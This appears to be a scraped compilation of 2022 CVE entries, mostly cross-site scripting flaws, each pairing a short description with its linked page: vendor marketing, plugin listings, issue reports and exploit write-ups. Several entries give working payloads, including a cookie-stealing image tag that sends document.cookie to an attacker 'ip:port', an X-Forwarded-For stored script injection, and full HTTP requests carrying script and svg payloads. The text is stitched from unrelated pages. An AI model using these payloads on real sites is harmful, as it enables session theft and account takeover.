A cross-site scripting (XSS) vulnerability in ICT Protege GX/WX v2.08 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter.

**Unified Access Control and Intrusion Solutions**

Whether you’re a small business needing a scalable solution or a large corporate enterprise project with thousands of doors and complex user requirements, a Protege system provides a comprehensive and flexible solution that meets the evolving needs of today's users.

**For small to medium businesses**

With no software to install, Protege WX is simple to deploy while the web-based interface means you can configure, control, and monitor your system from anywhere.

Learn more about Protege WX

**For large, enterprise organizations**

With a feature set that is easy to operate, simple to integrate, and effortless to extend, Protege GX offers a comprehensive solution that provides true benefits to any organization.

Learn more about Protege GX

**Trusted by Global Brands**

With thousands of systems installed for customers worldwide, we protect people, property, and information across a wide range of verticals.

**Where to from here?**

Our team is always here to help. Whether it's questions on installing software, advice on how to wire a card reader, or information on buying ICT products, we'd be happy to hear from you.

CVE-2022-29734: ICT | Unified access control and intruder detection

A cross-site scripting (XSS) vulnerability in /omps/seller of Online Market Place Site v1.0 allows attackers to execute arbitrary web cripts or HTML via a crafted payload injected into the Page parameter.

**Exploit Title: Online Market Place Site v1.0 - XSS and CSRF****Date: April 17, 2022****Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html****Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip****Tested on: Parrot Linux, Apache, Mysql****Vendor: oretnom23****Version: v1.0****Exploit Description:****Online Market Place v1.0 suffers from Cross Site Scripting and Cross Site Request Forgery Vulnerability that allowing attackers to steal the cookies of other users(possible account takeover).**

\---------------------------------------- To Exploit ---------------------------------------------------------

Step 1: Register and login as a seller.

Step 2: Goto product page click action and select view product, you can see url like http://localhost/omps/seller/?page=products/view\_details&id=4

Step 3: The page parameter is the vulnerable to cross site scripting because it's not sanitizing the user input.

step 4: put the payload  and you will see the pop window that reflects 1337.

step 5: Now attacker can send malicious url to other user then perfom csrf and finally takeover their account.

For stealing the cookies : <img src='x' onerror=this.src=http://ip:port/?'+document.cookie;>

Final Payload : http://localhost/omps/seller/?page=<img src='x' onerror=this.src=http://ip:port/?'+document.cookie;>&id=4

CVE-2022-29628: OpenSource/exploit_rxss.md at main · nsparker1337/OpenSource

A cross-site scripting (XSS) vulnerability in Jfinal CMS v5.1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted X-Forwarded-For request.

There is a storage XSS vulnerability in the guest TOP10 of jfinal\_cms. TOP10 will display the ip of the user, but it can be modified by X-Forwarded-For, where the attacker can insert malicious XSS code. When the administrator logs in, the malicious XSS code triggers successfully.

payload: X-Forwarded-For: 192.168.1.1<script>alert ("xss")</script>

In the background login interface, enter the account password randomly, fill in the correct verification code, and then submit and grab the package.  

The contents of the grab bag are as follows:  

Add an X-Forwarded-For here and enter paylaod (192.168.1.1<script>alert ("xss")</script>)  

Then log in with the background administrator account to trigger the storage XSS.  

Safety advice:  
Strictly filter the user's input  
Strict control of page rendering content

CVE-2022-29648: There is an xss vulnerability of HTTP header injection storage in jfinal_cms V5.1.0 · Issue #34 · jflyfox/jfinal_cms

OFCMS v1.1.4 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /admin/comn/service/update.json.

\[Suggested description\]  
There are many cross-site scripting vulnerabilities in the background of OFCMS system version 1.1.4, because the special characters entered are not effectively escaped.

\[Vulnerability Type\]  
Cross Site Scripting (XSS)

\[Vendor of Product\]  
https://gitee.com/oufu/ofcms

\[Affected Product Code Base\]  
v1.1.4

\[Affected Component\]

    POST /ofcms/admin/comn/service/update.json?sqlid=system.role.update HTTP/1.1
    Host: localhost:7000
    Content-Length: 94
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://localhost:7000
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://localhost:7000/ofcms/admin/f.html?p=system/role/edit.html&role_id=3&_fsUuid=820e45c9-7f52-4e8d-b917-930c4b13153c
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=A81B589572EF210191B7C30F017A814D
    Connection: close
    
    role_id=3&role_name=%24%7B2*2%7D&role_desc=Test+freemarker+%3Cscript%3Ealert(1)%3C%2Fscript%3E
    

\[Attack Type\]  
Remote

\[Impact Code execution\]  
true

\[Vulnerability to prove\]  
Case 1:  
/ofcms/admin/comn/service/update.json?sqlid=system.menu.update  
  
  

Case 2:  
/ofcms/admin/comn/service/update.json?sqlid=cms.bbs.update  
  
  

Case 3:  
/ofcms/admin/comn/service/update.json?sqlid=cms.ad.update

CVE-2022-29653: There are many cross-site scripting vulnerabilities in ofCMS system background · Issue #I53COA · 欧福/ofcms - Gitee.com

LibreNMS v22.3.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /Table/GraylogController.php.

Reported by  
● Darek Jensen  
● haxmeadroom

**Please note**

> Please read this information carefully. You can run ./lnms dev:check to check your code before submitting.

*   Have you followed our code guidelines?
*   If my Pull Request does some changes/fixes/enhancements in the WebUI, I have inserted a screenshot of it.
*   If my Pull Request makes discovery/polling/yaml changes, I have added/updated test data.

**Testers**

If you would like to test this pull request then please run: ./scripts/github-apply <pr_id>, i.e ./scripts/github-apply 5926  
After you are done testing, you can remove the changes with ./scripts/github-remove. If there are schema changes, you can ask on discord how to revert.

CVE-2022-29711: Fix Graylog XSS by murrant · Pull Request #13931 · librenms/librenms

Authenticated (author or higher role) Stored Cross-Site Scripting (XSS) vulnerability in Fatcat Apps Easy Pricing Tables plugin <= 3.1.2 at WordPress.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

*   The **Easy Pricing Tables** WordPress Plugin makes it easy to create and publish beautiful pricing tables and comparison tables on your WordPress site. You can build, customize and publish a pricing table in just a few minutes, straight from the post editor, with zero coding required.

View screenshots of WordPress pricing tables built with this plugin.

View Easy Pricing Tables Premium Live Demo »

> **Gutenberg Compatible**
> 
> This plugin is fully compatible with WordPress 5.0’s new block editor (“Gutenberg”). You can build and edit pricing tables directly in the post editor. Also features support for classic editor and page builders.
> 
> **Easy Pricing Tables Premium**
> 
> Easy Pricing Tables Premium comes with the following features.
> 
> Six Gorgeous Pricing Table Designs.  
> Comparison Tables.  
> Fully Customize your Pricing Table (Colors, etc…).  
> Choose From 15 Font Options.  
> Add Inline Images to Pricing Tables.  
> One-Click WooCommerce Integration.  
> Priority Email Support.  
> Pricing Toggles (switch between multiple pricing tables – eg. currencies or monthly/yearly pricing.  
> And much more….
> 
> Learn more about Easy Pricing Tables Premium >>

**Overview**

Easy Pricing Tables is the first WordPress pricing table plugin built specifically for the block editor.

Building pricing tables on your site has never been easier. Simply add the pricing table block to your post, fill in your prices and features, and publish.

No coding required. Easy Pricing Tables lets anyone create a responsive pricing table in just a few minutes.

**Easy Pricing Tables – WordPress Pricing Table Plugin Features**

*   Build beautiful WordPress pricing tables in minutes.
    
*   Works with any WordPress theme.
    
*   Responsive WordPress Pricing Tables – responds to fit any device.
    
*   Easy Pricing Tables implements conversion rate optimization (CRO) best practices and guides you through the process of creating a pricing table that converts.
    
*   Easy Pricing Tables works with any WordPress theme you have installed. Use the pricing table block to build pricing tables in the post editor, or build in the plugin dashboard and add to your page via shortcode.
    
*   Gutenberg / WordPress 5.0 compatible. Not just compatible. Easy Pricing Tables is built specifically for the block editor.
    
*   Intuitive User Interface – building pricing tables has never been easier. Point and click to edit your table.
    
*   Create unlimited pricing table rows.
    
*   Customize your pricing table design with color pickers, font pickers and native design settings.
    
*   Reorder pricing table columns with one click.
    
*   Featured Column – draw people to your most popular products by highlighting a featured column.
    
*   Save pricing tables as reusable blocks to add in multiple posts or pages.
    
*   Shortcode support for use with classic editor and page builders.
    
*   Add PayPal payment links, Stripe payment links, or any other checkout link to your pricing table buttons.
    
*   Automatically match column heights to keep rows aligned.
    
*   Customize text size and formatting with one click.
    
*   Check out Easy Pricing Tables Premium
    

**WordPress.org Support**

> As this is the lite version of this WordPress pricing table plugin, the only support we offer through these forums is for bugs. Support for questions regarding modifying your pricing tables, writing custom CSS, etc is available for customers of Easy Pricing Tables Premium.

**Privacy Disclosure**

This plugin does not store any personal data.

Our full privacy policy is available here: https://fatcatapps.com/legal/privacy-policy/

This plugin provides 2 blocks.

*   Easy Pricing Table
*   Pricing Tables (Legacy)

1.  Upload the Easy Pricing Tables plugin file (easy-pricing-tables.zip) to the /wp-content/plugins/ directory
2.  Activate the plugin through the ‘Plugins’ menu in WordPress
3.  In your sidebar, select ‘Pricing Tables -> Add New’ to create a new table

**Can I use Easy Pricing Tables with Elementor?**

Yes, Easy Pricing Tables is compatible with Elementor and any other page builder plugin that supports shortcodes.

To add a pricing table anywhere other than the block editor, go to the Easy Pricing Tables plugin dashboard, create your table, and add it to your post with the shortcode provided.

**How can I save pricing tables to publish in multiple parts of my site?**

Create your pricing table and save it as a reusable block. Choose this reusable block anywhere you wish to add your pricing table.

**How do I change the width of my pricing table?**

Your pricing tables will fit to the content area your theme allows. You can edit how wide or narrow it appears with the “change alignment” setting (in the settings toolbar above the block). Change the alignment settings to set how much of the content area your pricing table fits to (e.g. “wide width” or “full width”).

**How can I integrate Easy Pricing Tables with WooCommerce?**

Easy Pricing Tables premium comes with a one-click integration to add WooCommerce products to your pricing table. Check out Easy Pricing Tables Premium here.

Looks great, is fluid, and customisable. Perfect. Love it.

Easy to setup and works beatifully. Love that you can include logo images in table.

Been using this plugin for almost a year now, the legacy version, works perfect for my needs.

Well, the free plugin is complete waste of time.

Great plugin for creating pricing tables.

Read all 128 reviews

“Pricing Tables WordPress Plugin – Easy Pricing Tables” is open source software. The following people have contributed to this plugin.

Contributors

CVE-2021-36866: Pricing Tables WordPress Plugin – Easy Pricing Tables

In Afian Filerun 20220202 Changing the "search_tika_path" variable to a custom (and previously uploaded) jar file results in remote code execution in the context of the webserver user.

CVE-2022-30470: FileRun - Selfhosted File Manager with Sharing and Backup for Photos, Docs & More

siteserver SSCMS 6.15.51 is vulnerable to Cross Site Scripting (XSS).

测试的版本:https://github.com/siteserver/cms/releases/download/siteserver-v6.15.51/siteserver\_install.zip  
SiteServer: V6.15.51  
测试环境：windows 2012 R2  
数据库 sql server 2016  
  
(需要登录测试)  
漏洞url:/SiteServer/cms/modalRelatedFieldItemEdit.aspx?siteId=1&RelatedFieldID=1&ParentID=0&Level=1&ID=1  

包体  
\`POST /SiteServer/cms/modalRelatedFieldItemEdit.aspx?siteId=1&RelatedFieldID=1&ParentID=0&Level=1&ID=1 HTTP/1.1  
Host: 192.168.39.3:8055  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,_/_;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 304  
Origin: http://192.168.39.3:8055  
Connection: close  
Referer: http://192.168.39.3:8055/SiteServer/cms/modalRelatedFieldItemEdit.aspx?siteId=1&RelatedFieldID=1&ParentID=0&Level=1&ID=1  
Cookie: BAIRONG.VC.ADMINLOGIN=oeLExOp9UBM0equals0; ss\_administrator\_access\_token=M3ENIa3NKJJ39JCRHnY4PgfJqMC7lFjggL0e9S06Bs9ubZE90add0xM2aesaL0add0Cxo8Xe5VZrSanerzFU8oZaMXCC9KMxdw29fLk6uNSSoY4Pa0add0BOZfzRwKT2t3LglumO4sTUKSz0slash0ubJ9QajCyTsKpmbPu7yv20add08zpsQyVPpl3TuMITkOCIX1EwcC7CeIJ50slash0XQ9d0slash0oR8ECV0add0690add0eXRHbEImnZsLBsrhv7KML0Jhuevbhvcjs0equals0; ASP.NET\_SessionId=l3tothqgmzbgljaogh1uof3y; SS-ADMIN-TOKEN=z69iWbk6QAgWtUmPiJBXDd7vXmikE7IMRbVWfh0add00xyMUHXn13zDSbfJyodBLcAQuP9kU0slash0F7SybZwZUK7ER9csWj0ODr7NgSqXfVWABfJpKMXGuT2wQudsXkhDU9JMvsrkNIPV5cKDS3vGUQNyPwFtxt7YFaPv4h0slash09w0slash0UOjfXLezfaa1ML5HzkaV5p1JCQWmJTQEnr7CYs7SWD7Jqq2Ifc0slash0oUvADaZFl2TmYxcUUCqEQ0equals00secret0  
Upgrade-Insecure-Requests: 1

\_\_EVENTTARGET=&\_\_EVENTARGUMENT=&\_\_VIEWSTATE=MVZqB4shzUeYHIX5zAuRZJJbL8r72A7Evx94mUbTTNpGbOwWBZkeb79FVsI2zTj0PlNYIzK%2BpEzx3SRf96HflbXA8nFVIpCU16GBIeWZSq4vLCZLjX0CoHWGwnxNyQzo&\_\_VIEWSTATEGENERATOR=4DCED64B&TbItemName=%3Csvg+onload%3Dalert%28document.domain%29%3E&TbItemValue=2222&ctl04=%E7%A1%AE+%E5%AE%9A\`

CVE-2022-30349: 跨站脚本攻击(xss) · Issue #3238 · siteserver/cms

School Dormitory Management System v1.0 is vulnerable to reflected cross-site scripting (XSS) via admin/inc/navigation.php:125

Submitted by oretnom23 on Saturday, May 7, 2022 - 16:08.

****Introduction****

This project is entitled **School Dormitory Management System**. This is a web-based application project developed in **PHP** and **MySQL Database**. This project provides an online and automated platform for **Universities or Colleges' Dormitory** to manage their monthly collections and records. The system consist consists of multiple features that include the student dorm accounts. The application was developed with **Bootstrap Framework** and **AdminLTE Template**. It consists of user-friendly features and functionalities.

****About the School Dormitory Management System****

I developed this project using the following:

*   **XAMPP v3.3.0**
*   **PHP**
*   **MySQL Database**
*   **HTML**
*   **CSS**
*   **JavaScript**
*   **Ajax**
*   **jQuery**
*   **Bootstrap**
*   **Font Awesome**
*   **AdminLTE**

This **School Dormitory Management System** can be only accessed by the management. The system features and functionalities can be accessed only by the registered system users. The system users have 2 types of roles which are the **Administrator** and **Staff**. Both Users must log in with their system credentials to gain access to the features and functionalities of the application. The **Administrator Users** have the privilege to access and manage all the features and functionalities of the system while **Staff Users** have only limited permissions.

This Dormitory Management System allows the management to manage the list of dormitory buildings, rooms in each dorm, and student accounts. The management must populate first the list of dorms, rooms, and students when using the system for the first time. Users create an account for a student and assign them to a room with an available slot. The student that has an active account will be automatically removed from the student options when creating an account. Also, the room option in the account registry only lists the rooms that have available slots.

The system was developed with user-friendly features and functionalities with CRUD (Create, Read, Update, and Delete) Operations. It can help the school management to efficiently and effectively manage the dorms' collections and account records.

****Features****

*   **Home Page**
    *   Display the summary.
*   **Dorm Management**
    *   Add New Dorm
    *   List All Courts
    *   View Dorm Details
    *   Update Dorm Details
    *   Delete Dorm
*   **Room Management**
    *   Add New Room
    *   List All Rooms
    *   View Room Details
    *   Update Room Details
    *   Delete Room
*   **Student Management**
    *   Add New Student
    *   List All Students
    *   View Student Details
    *   Update Student Details
    *   Delete Student
*   **Account Management**
    *   Add New Account
    *   List All Accounts
    *   View Account Details
    *   Update Account Details
    *   Add Payment
    *   List Payment History
    *   Edit Payment Details
    *   Delete Payment Details
    *   Delete Account
*   **Report**
    *   Generate Printable Monthly Collection Report
*   **User Management**
    *   Add New User
    *   List All Users
    *   View User Details
    *   Edit User Details
    *   Delete User Details
*   **Update System Information**
*   **Update Account Details/Credentials**
*   **Login and Logout**

The source code was developed only for educational purposes only. You can download the source code for free and modify it the way you wanted.

**System Snapshots of some Features******Dashboard****

****Dorm List****

****Room List****

****Student Details Page****

****Account Details Page****

****Payment History Modal****

****Monthly Collection Report****

**How to Run ??**

****Requirements****

*   **Download** and **Install** any **local web server** such as **XAMPP.**
*   **Download** the provided source code **zip** file. (_download button is located below_)

****System Installation/Setup****

1.  **Enable** the **GD Library** in your **php.ini** file.
2.  **Open** your **XAMPP Control Panel** and start ****Apache**** and ****MySQL****.
3.  **Extract** the **downloaded source code **zip** file**.
4.  **Copy** the extracted source code folder and **paste** it into the **XAMPP's "htdocs" directory**.
5.  **Browse** the ****PHPMyAdmin**** in a **browser**. i.e. ****http://localhost/phpmyadmin****
6.  **Create** a **new database** naming ****dms\_db****.
7.  **Import** the provided ****SQL**** file. The file is known as ****dms\_db.sql**** located inside the **database** folder.
8.  **Browse** the **School Dormitory Management System** in a **browser**. i.e. ****http://localhost/dms/****.

****Admin Default Access:****

Username: **admin**  
Password: **admin123**

****DEMO VIDEO****

That's it. You can now explore the features and functionalities of this **School Dormitory Management System** in **PHP**. I hope this will help you with what you are looking for and you'll find something useful for your future projects.

Explore more on this website for more **Free Source Codes** and **Tutorials**.

**Enjoy :)**

*   2369 views

CVE-2022-30513: School Dormitory Management System in PHP/OOP Free Source Code

School Dormitory Management System v1.0 is vulnerable to reflected cross-site scripting (XSS) via admin/inc/navigation.php:126.

**CVE-2022-30514**

School Dormitory Management System 1.0 - Reflected XSS

**Exploit Title: School Dormitory Management System 1.0 - Reflected XSS****Date: 2022-05-25****CVE: CVE-2022-30514****Exploit Author: Abdulaziz Saad (@b4zb0z)****Vendor Homepage: https://www.sourcecodester.com/****Software Link: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html****Version: 1.0****Tested on: LAMP, Ubuntu**

**\[#\] Vulnerability Location:**

$_GET['s'] in /dms/admin/inc/navigation.php:126

**\[#\] Exploitation :**

http://localhost/dms/admin/?s=%27;%20alert(%22b4zb0z%22);%20s=%27

Tag

#xss